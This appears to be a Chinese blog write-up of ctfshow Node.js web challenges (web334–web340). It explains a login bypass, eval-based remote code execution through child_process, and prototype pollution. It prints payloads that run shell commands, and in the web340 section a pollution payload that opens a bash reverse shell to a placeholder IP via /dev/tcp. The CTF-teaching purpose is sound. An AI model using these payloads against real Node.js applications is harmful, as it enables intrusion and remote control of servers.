ctfshow_nodejs

web334

打开题目下载源码
打开longin.js


var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
 
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

/* GET home page. */
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var sess = req.session;
  var user = findUser(req.body.username, req.body.password);
 
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       
      req.session.loginUser = user.username;
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
  
});

module.exports = router;

user.js

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

这里账号密码直接有了,但是我们拿去登入发现并不是正确的密码,接下来我们去分析源代码,这里判断密码主要是这一句

name!==‘CTFSHOW’ && item.username === name.toUpperCase() && item.password === password;

这里追一下name从哪里来的.

var user = findUser(req.body.username, req.body.password)

这里发现是用户输入,所以这里的意思是输入的密码不能是CTFSHOW,然后输入的用户转换成大写要等于CTFSHOW,所以这里我们直接小写即可。

web335

打开网站查看源代码,发现一个提示
在这里插入图片描述
发现可能会有rce远程代码执行,这里可以先看看这篇文章child_process(子进程)

方法一

payload=require(‘child_process’).execSync(‘ls’)

查询到文件
在这里插入图片描述
接下来cat一下即可。

方法二

payload=http://d34c519b-4379-4f59-98b5-b3abca84b886.challenge.ctf.show:8080/?eval=require( ‘child_process’ ).spawnSync( ‘ls’, [ ‘/’ ] ).stdout.toString()

这里注意一定要加stdout.toString,不然就是这样的
在这里插入图片描述

在这里插入图片描述

web336

这里跟上题还是一样的,但是可能过滤一些东西.
在这里插入图片描述
这里我们还有方法二可以试一下.

payload=require( ‘child_process’ ).spawnSync( ‘ls’, [ ‘/’ ] ).stdout.toString()

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

web338

这一题是原型链污染,我是从p神文章学到的深入理解 JavaScript Prototype 污染攻击
这题直接打就是了

{"__proto__":{"ctfshow":"36dboy"}}

在这里插入图片描述

web339

web340 原型链污染++

主要的代码在这里
在这里插入图片描述

在这里插入图片描述

var flag=‘flag_here’;
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: ‘登录失败’});
}

这一题相对上一题,就是要污染两层才可以利用
在这里插入图片描述
这里浏览器可以看到,这边的userinfo的原型不是object对象,要再往下一层才是,所以就有了这个poc

{“proto”:{“proto”:{“query”:“return global.process.mainModule.constructor._load(‘child_process’).exec(‘bash -c “bash -i >& /dev/tcp/XXX.XXX.XXX.XXX/6666 0>&1”’)”}}}

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值